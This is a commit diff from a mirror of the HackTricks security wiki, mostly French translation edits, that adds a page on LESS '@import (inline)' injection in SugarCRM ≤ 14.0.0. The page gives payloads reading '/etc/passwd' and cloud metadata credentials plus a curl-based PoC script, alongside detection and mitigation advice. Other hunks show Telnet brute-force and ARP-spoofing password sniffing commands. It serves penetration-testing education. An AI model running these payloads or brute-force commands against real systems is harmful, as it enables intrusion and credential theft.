mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena
This commit is contained in:
parent
690d6e4db1
commit
40e6082717
@ -544,6 +544,7 @@
|
||||
|
||||
# 🕸️ Pentesting Web
|
||||
|
||||
- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md)
|
||||
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
|
||||
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
||||
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
||||
|
@ -22,7 +22,7 @@ La même technique s'applique à tout appareil disposant d'un patch NexMon dispo
|
||||
* ZIP Magisk NexMon ou patch auto-compilé fournissant :
|
||||
* `/system/lib*/libnexmon.so`
|
||||
* `/system/xbin/nexutil`
|
||||
* Hijacker ≥ 1.7 (arm/arm64) – https://github.com/chrisk44/Hijacker
|
||||
* Hijacker ≥ 1.7 (arm/arm64) – [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker)
|
||||
* (Optionnel) Kali NetHunter ou tout chroot Linux où vous comptez exécuter des outils sans fil
|
||||
|
||||
---
|
||||
@ -82,7 +82,7 @@ Si vous n'avez besoin que de l'écoute passive, omettez le drapeau `-s0x613`.
|
||||
---
|
||||
|
||||
## Utilisation de `libnexmon` dans Kali NetHunter / chroot
|
||||
Les outils d'espace utilisateur standard dans Kali ne connaissent pas NexMon, mais vous pouvez les forcer à l'utiliser via `LD_PRELOAD` :
|
||||
Les outils d'espace utilisateur de base dans Kali ne connaissent pas NexMon, mais vous pouvez les forcer à l'utiliser via `LD_PRELOAD` :
|
||||
|
||||
1. Copiez l'objet partagé pré-construit dans le chroot :
|
||||
```bash
|
||||
@ -95,7 +95,7 @@ sudo su
|
||||
export LD_PRELOAD=/lib/kalilibnexmon.so
|
||||
wifite -i wlan0 # ou aircrack-ng, mdk4 …
|
||||
```
|
||||
4. Lorsque vous avez terminé, désactivez le mode moniteur comme d'habitude sur Android.
|
||||
4. Une fois terminé, désactivez le mode moniteur comme d'habitude sur Android.
|
||||
|
||||
Parce que le firmware gère déjà l'injection radiotap, les outils d'espace utilisateur se comportent comme sur un adaptateur Atheros externe.
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
Les applications signées avec l'**entitlement `get_task_allow`** permettent aux applications tierces d'exécuter une fonction appelée **`task_for_pid()`** avec l'ID de processus de l'application initiale comme argument afin d'obtenir le port de tâche sur celui-ci (pouvoir le contrôler et accéder à sa mémoire).
|
||||
|
||||
Cependant, ce n'est pas aussi simple que de simplement extraire l'IPA, de le re-signer avec l'entitlement, et de le flasher à nouveau sur votre appareil. Cela est dû à la protection FairPlay. Lorsque la signature de l'application change, la clé DRM (Digital Rights Management) est **invalidée et l'application ne fonctionnera pas**.
|
||||
Cependant, ce n'est pas aussi simple que de simplement récupérer l'IPA, de le re-signer avec l'entitlement, et de le flasher à nouveau sur votre appareil. Cela est dû à la protection FairPlay. Lorsque la signature de l'application change, la clé DRM (Digital Rights Management) est **invalidée et l'application ne fonctionnera pas**.
|
||||
|
||||
Avec un ancien appareil jailbreaké, il est possible d'installer l'IPA, **de le déchiffrer en utilisant votre outil préféré** (comme Iridium ou frida-ios-dump), et de le récupérer de l'appareil. Cependant, si possible, il est recommandé de demander simplement au client l'IPA déchiffré.
|
||||
|
||||
@ -19,10 +19,10 @@ Avec un ancien appareil jailbreaké, il est possible d'installer l'IPA, **de le
|
||||
2. Installez et lancez [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) sur votre macos
|
||||
3. Ouvrez `Terminal` sur votre Mac, et cd à `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. L'IPA apparaîtra dans ce dossier plus tard.
|
||||
4. Vous devriez voir votre appareil iOS. Double-cliquez dessus, puis cliquez sur Ajouter + → Apps dans la barre de menu en haut.
|
||||
5. Après avoir cliqué sur Ajouter, Configurator téléchargera l'IPA depuis Apple et tentera de le pousser vers votre appareil. Si vous avez suivi ma recommandation plus tôt et installé l'IPA, une invite vous demandant de réinstaller l'application apparaîtra.
|
||||
5. Après avoir cliqué sur Ajouter, Configurator téléchargera l'IPA depuis Apple et tentera de le pousser vers votre appareil. Si vous avez suivi ma recommandation précédente et installé l'IPA, une invite vous demandant de réinstaller l'application apparaîtra.
|
||||
6. L'IPA devrait être téléchargé dans `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` d'où vous pouvez le récupérer.
|
||||
|
||||
Vérifiez [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) pour des informations plus détaillées sur ce processus.
|
||||
Vérifiez [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) pour plus d'informations détaillées sur ce processus.
|
||||
|
||||
|
||||
### Déchiffrer l'application
|
||||
@ -53,7 +53,7 @@ Une fois installé, vous pouvez utiliser **Iridium tweak** de Cydia afin d'obten
|
||||
|
||||
Pour re-signer l'application avec le droit `get-task-allow`, plusieurs outils sont disponibles comme `app-signer`, `codesign` et `iResign`. `app-signer` a une interface très conviviale qui permet de re-signer très facilement un fichier IPA en indiquant l'IPA à re-signer, de **le mettre `get-task-allow`** et le certificat et le profil de provisionnement à utiliser.
|
||||
|
||||
Concernant le certificat et les profils de signature, Apple propose des **profils de signature de développeur gratuits** pour tous les comptes via Xcode. Il suffit de créer une application et de configurer un. Ensuite, configurez l'**iPhone pour faire confiance aux applications de développeur** en naviguant vers `Settings` → `Privacy & Security`, et cliquez sur `Developer Mode`.
|
||||
Concernant le certificat et les profils de signature, Apple propose des **profils de signature de développeur gratuits** pour tous les comptes via Xcode. Il suffit de créer une application et d'en configurer une. Ensuite, configurez l'**iPhone pour faire confiance aux applications de développeur** en naviguant vers `Settings` → `Privacy & Security`, et cliquez sur `Developer Mode`.
|
||||
|
||||
Avec l'IPA re-signé, il est temps de l'installer sur l'appareil pour le pentester :
|
||||
```bash
|
||||
@ -67,13 +67,13 @@ Depuis iOS 16, Apple a introduit le **mode développeur** : tout binaire qui por
|
||||
|
||||
1. Installez ou poussez **n'importe quel** IPA signé par un développeur sur le téléphone.
|
||||
2. Accédez à **Réglages → Confidentialité et sécurité → Mode développeur** et activez-le.
|
||||
3. L'appareil redémarrera ; après avoir saisi le code d'accès, vous serez invité à **activer** le mode développeur.
|
||||
3. L'appareil redémarrera ; après avoir entré le code d'accès, vous serez invité à **activer** le mode développeur.
|
||||
|
||||
Le mode développeur reste actif jusqu'à ce que vous le désactiviez ou que vous réinitialisiez le téléphone, donc cette étape n'a besoin d'être effectuée qu'une seule fois par appareil. [La documentation d'Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) explique les implications en matière de sécurité.
|
||||
|
||||
### Options modernes de sideloading
|
||||
|
||||
Il existe maintenant plusieurs méthodes matures pour sideloader et maintenir les IPAs re-signés à jour sans jailbreak :
|
||||
Il existe maintenant plusieurs façons matures de sideloader et de maintenir les IPAs re-signés à jour sans jailbreak :
|
||||
|
||||
| Outil | Exigences | Forces | Limitations |
|
||||
|-------|-----------|--------|-------------|
|
||||
@ -84,7 +84,7 @@ Pour des pentests de routine sur les versions iOS actuelles, Alt/Side-Store sont
|
||||
|
||||
### Hooking / instrumentation dynamique
|
||||
|
||||
Vous pouvez hook votre application exactement comme sur un appareil jailbreaké une fois qu'elle est signée avec `get_task_allow` **et** que le mode développeur est activé :
|
||||
Vous pouvez hooker votre application exactement comme sur un appareil jailbreaké une fois qu'elle est signée avec `get_task_allow` **et** que le mode développeur est activé :
|
||||
```bash
|
||||
# Spawn & attach with objection
|
||||
objection -g "com.example.target" explore
|
||||
@ -96,7 +96,7 @@ Les récentes versions de Frida (>=16) gèrent automatiquement l'authentificatio
|
||||
|
||||
### Analyse dynamique automatisée avec MobSF (sans jailbreak)
|
||||
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) peut instrumenter un IPA signé par un développeur sur un appareil réel en utilisant la même technique (`get_task_allow`) et fournit une interface web avec un navigateur de système de fichiers, capture de trafic et console Frida【†L2-L3】. Le moyen le plus rapide est de faire fonctionner MobSF dans Docker, puis de connecter votre iPhone via USB :
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) peut instrumenter un IPA signé par un développeur sur un appareil réel en utilisant la même technique (`get_task_allow`) et fournit une interface web avec un navigateur de système de fichiers, capture de trafic et console Frida【】. Le moyen le plus rapide est de faire fonctionner MobSF dans Docker et ensuite de connecter votre iPhone via USB :
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
||||
docker run -p 8000:8000 --privileged \
|
||||
@ -108,7 +108,7 @@ MobSF déploiera automatiquement le binaire, activera un serveur Frida à l'int
|
||||
|
||||
### iOS 17 & avertissements sur le mode verrouillage
|
||||
|
||||
* **Mode verrouillage** (Réglages → Confidentialité & Sécurité) bloque le chargeur dynamique de chargement des bibliothèques dynamiques non signées ou signées de manière externe. Lors de tests sur des appareils qui pourraient avoir ce mode activé, assurez-vous qu'il est **désactivé** ou vos sessions Frida/objection se termineront immédiatement.
|
||||
* **Mode verrouillage** (Réglages → Confidentialité & Sécurité) bloque le chargeur dynamique de charger des bibliothèques dynamiques non signées ou signées de manière externe. Lors de tests sur des appareils qui pourraient avoir ce mode activé, assurez-vous qu'il est **désactivé** ou vos sessions Frida/objection se termineront immédiatement.
|
||||
* L'authentification par pointeur (PAC) est appliquée à l'échelle du système sur les appareils A12+. Frida ≥16 gère de manière transparente le stripping PAC — il suffit de garder à jour à la fois *frida-server* et la chaîne d'outils Python/CLI lorsque qu'une nouvelle version majeure d'iOS est publiée.
|
||||
|
||||
## Références
|
||||
|
@ -85,9 +85,9 @@ sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" "
|
||||
# Wireshark display filter
|
||||
tcp.port == 23 && (telnet.data || telnet.option)
|
||||
```
|
||||
Pour un MITM actif, combinez le spoofing ARP (par exemple, `arpspoof`/`ettercap`) avec les mêmes filtres de sniffing pour récolter des mots de passe sur des réseaux commutés.
|
||||
Pour un MITM actif, combinez le spoofing ARP (par exemple `arpspoof`/`ettercap`) avec les mêmes filtres de sniffing pour récolter des mots de passe sur des réseaux commutés.
|
||||
|
||||
### Force brute automatisée / Spray de mots de passe
|
||||
### Force brute automatisée / Spraying de mots de passe
|
||||
```bash
|
||||
# Hydra (stop at first valid login)
|
||||
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
|
||||
@ -109,9 +109,9 @@ Metasploit dispose de plusieurs modules utiles :
|
||||
* `auxiliary/scanner/telnet/telnet_encrypt_overflow` – RCE contre Telnet vulnérable de Solaris 9/10 (gestion de l'option ENCRYPT).
|
||||
* `exploit/linux/mips/netgear_telnetenable` – active le service telnet avec un paquet conçu sur de nombreux routeurs NETGEAR.
|
||||
|
||||
Après avoir obtenu un shell, rappelez-vous que **les TTY sont généralement simples** ; mettez à niveau avec `python -c 'import pty;pty.spawn("/bin/bash")'` ou utilisez les [trucs TTY de HackTricks](/generic-hacking/reverse-shells/full-ttys.md).
|
||||
Après avoir obtenu un shell, rappelez-vous que **les TTY sont généralement stupides** ; mettez à niveau avec `python -c 'import pty;pty.spawn("/bin/bash")'` ou utilisez les [trucs TTY de HackTricks](/generic-hacking/reverse-shells/full-ttys.md).
|
||||
|
||||
### Renforcement & Détection (coin de l'équipe bleue)
|
||||
### Durcissement & Détection (coin de l'équipe bleue)
|
||||
|
||||
1. Préférez SSH et désactivez complètement le service Telnet.
|
||||
2. Si Telnet est nécessaire, liez-le uniquement aux VLANs de gestion, appliquez des ACL et enveloppez le démon avec des wrappers TCP (`/etc/hosts.allow`).
|
||||
@ -123,4 +123,4 @@ Après avoir obtenu un shell, rappelez-vous que **les TTY sont généralement si
|
||||
* D-Link Advisory – CVE-2024-45698 RCE Telnet critique.
|
||||
* NVD – CVE-2022-39028 inetutils `telnetd` DoS.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
75
src/pentesting-web/less-code-injection-ssrf.md
Normal file
75
src/pentesting-web/less-code-injection-ssrf.md
Normal file
@ -0,0 +1,75 @@
|
||||
# LESS Injection de Code menant à SSRF & Lecture de Fichiers Locaux
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Aperçu
|
||||
|
||||
LESS est un préprocesseur CSS populaire qui ajoute des variables, des mixins, des fonctions et la puissante directive `@import`. Lors de la compilation, le moteur LESS va **récupérer les ressources référencées dans les** déclarations `@import` et intégrer ("inline") leur contenu dans le CSS résultant lorsque l'option `(inline)` est utilisée.
|
||||
|
||||
Lorsque qu'une application concatène **une entrée contrôlée par l'utilisateur** dans une chaîne qui est ensuite analysée par le compilateur LESS, un attaquant peut **injecter du code LESS arbitraire**. En abusant de `@import (inline)`, l'attaquant peut forcer le serveur à récupérer :
|
||||
|
||||
* Des fichiers locaux via le protocole `file://` (divulgation d'informations / Inclusion de Fichiers Locaux).
|
||||
* Des ressources distantes sur des réseaux internes ou des services de métadonnées cloud (SSRF).
|
||||
|
||||
Cette technique a été observée dans des produits réels tels que **SugarCRM ≤ 14.0.0** (point de terminaison `/rest/v10/css/preview`).
|
||||
|
||||
## Exploitation
|
||||
|
||||
1. Identifier un paramètre qui est directement intégré dans une chaîne de feuille de style traitée par le moteur LESS (par exemple, `?lm=` dans SugarCRM).
|
||||
2. Fermer la déclaration actuelle et injecter de nouvelles directives. Les primitives les plus courantes sont :
|
||||
* `;` – termine la déclaration précédente.
|
||||
* `}` – ferme le bloc précédent (si nécessaire).
|
||||
3. Utiliser `@import (inline) '<URL>';` pour lire des ressources arbitraires.
|
||||
4. En option, injecter un **marqueur** (`data:` URI) après l'import pour faciliter l'extraction du contenu récupéré à partir du CSS compilé.
|
||||
|
||||
### Lecture de Fichiers Locaux
|
||||
```
|
||||
1; @import (inline) 'file:///etc/passwd';
|
||||
@import (inline) 'data:text/plain,@@END@@'; //
|
||||
```
|
||||
Le contenu de `/etc/passwd` apparaîtra dans la réponse HTTP juste avant le marqueur `@@END@@`.
|
||||
|
||||
### SSRF – Métadonnées Cloud
|
||||
```
|
||||
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
|
||||
@import (inline) 'data:text/plain,@@END@@'; //
|
||||
```
|
||||
### PoC automatisé (exemple SugarCRM)
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
|
||||
|
||||
TARGET="$1" # Base URL of SugarCRM instance
|
||||
RESOURCE="$2" # file:// path or URL to fetch
|
||||
|
||||
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
|
||||
|
||||
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
|
||||
sed -n 's/.*@@END@@\(.*\)/\1/p'
|
||||
```
|
||||
## Détection
|
||||
|
||||
* Recherchez des réponses `.less` ou `.css` générées dynamiquement contenant des paramètres de requête non assainis.
|
||||
* Lors de la révision du code, recherchez des constructions comme `"@media all { .preview { ... ${userInput} ... } }"` passées aux fonctions de rendu LESS.
|
||||
* Les tentatives d'exploitation incluent souvent `@import`, `(inline)`, `file://`, `http://169.254.169.254`, etc.
|
||||
|
||||
## Atténuations
|
||||
|
||||
* Ne pas passer de données non fiables au compilateur LESS.
|
||||
* Si des valeurs dynamiques sont nécessaires, les **échapper**/assainir correctement (par exemple, restreindre aux jetons numériques, listes blanches).
|
||||
* Désactiver, lorsque cela est possible, la possibilité d'utiliser des imports `(inline)`, ou limiter les protocoles autorisés à `https`.
|
||||
* Gardez les dépendances à jour – SugarCRM a corrigé ce problème dans les versions 13.0.4 et 14.0.1.
|
||||
|
||||
## Cas du monde réel
|
||||
|
||||
| Produit | Point de terminaison vulnérable | Impact |
|
||||
|---------|--------------------|--------|
|
||||
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | SSRF non authentifié & lecture de fichiers locaux |
|
||||
|
||||
## Références
|
||||
|
||||
* [SugarCRM ≤ 14.0.0 (css/preview) Vulnérabilité d'injection de code LESS](https://karmainsecurity.com/KIS-2025-04)
|
||||
* [Avis de sécurité SugarCRM SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
|
||||
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -4,4 +4,10 @@
|
||||
|
||||
Vérifiez **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
||||
|
||||
- SugarCRM ≤ 14.0.0 – Injection `@import` LESS dans `/rest/v10/css/preview` permet SSRF non authentifié et lecture de fichiers locaux.
|
||||
|
||||
{{#ref}}
|
||||
../less-code-injection-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user